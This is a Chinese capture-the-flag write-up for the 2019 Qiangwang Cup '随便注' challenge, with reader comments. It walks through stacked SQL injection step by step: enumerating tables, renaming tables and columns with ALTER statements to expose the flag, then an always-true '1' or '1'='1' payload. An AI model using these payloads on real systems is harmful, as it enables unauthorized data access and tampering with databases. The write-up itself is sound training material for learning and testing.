0%

[强网杯 2019]随便注 mmkjhhsd的WriteUp

2023-03-08 10:39By
mmkjhhsd
SQL注入堆叠注入

Write Up

前置知识

alter

修改表名 alter table 表名 rename 新表名;

修改字段名 alter table 表名 change 旧字段名 新字段名 类型;

注入过程

首先我们通过使用1' 发现报错说明是字符型单引号

根据题目标签提示有堆叠注入
我们使用1';show+tables;#获取到所有的表
NSSIMAGE
NSSIMAGE

然后使用show columns from 表名;获取到表中的字段名
NSSIMAGE
NSSIMAGE
NSSIMAGE
NSSIMAGE

通过观察 words表单有两列, 也就是上面的 1 和 hahahah
我们可以推测 这个表单其实是从words表中以id字段为索引获取到内容 然后返回到前台
并且后台的查询语句为"select * from words where id='".$_GET['inject']."'"

那么 我们是不是可以通过修改带flag字段的表的名字为words表 然后把flag 字段修改为id
通过三条alter语句来修改

  • 修改words表名为其他的
    • alter table words rename words1;
  • 修改1919810931114514表名为words
    • alter table 1919810931114514 rename words;
  • 修改新的words表中的flag列名为id
    • alter table words change flag id varchar(60);
      得到最终payload 1';alter table words rename words1;alter table 1919810931114514 rename words;alter table words change flag id varchar(60);#

提交payload
NSSIMAGE
然后刷新页面
NSSIMAGE
发现没结果了, 原因是新的id列中的值已经变为flag值了 所以查询inject=1查不到
我们可以通过让where条件永远为正查出来所有数据
构造payload1' or '1'='1
获取到flag值
NSSIMAGE

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论

请问一下,为什么我“http://node4.anna.nssctf.cn:26504/
?inject=1';show columns from 1919810931114514;#”查不出数据,但是换成words就可以啊?

没事解决了,原来是需要加是`而不是单引号'flagcorrect

error 1146 : Table ‘supersqli.words’ doesn’t exist怎么办,能改回去吗

这思路很赞!

error 1146 : Table 'supersqli.words' doesn't exist 这是怎么回事

注意SQL语句的构造代码:select * from words where id='".$_GET['inject']."'"

如果先传入payload:1';alter table words rename words1;#,就会导致words表重命名为words1,后续再传入其他payload,SQL语句的前半部分select * from words就会报错,因为找不到words表。

所以必须把word表的重命名、1919810931114514表的重命名这两个动作放到同一个payload中,不能分开。

我就是放一起的,但也是有这样的问题

数字需要''括起来吗

需要,表名 字段名前后需添加 ``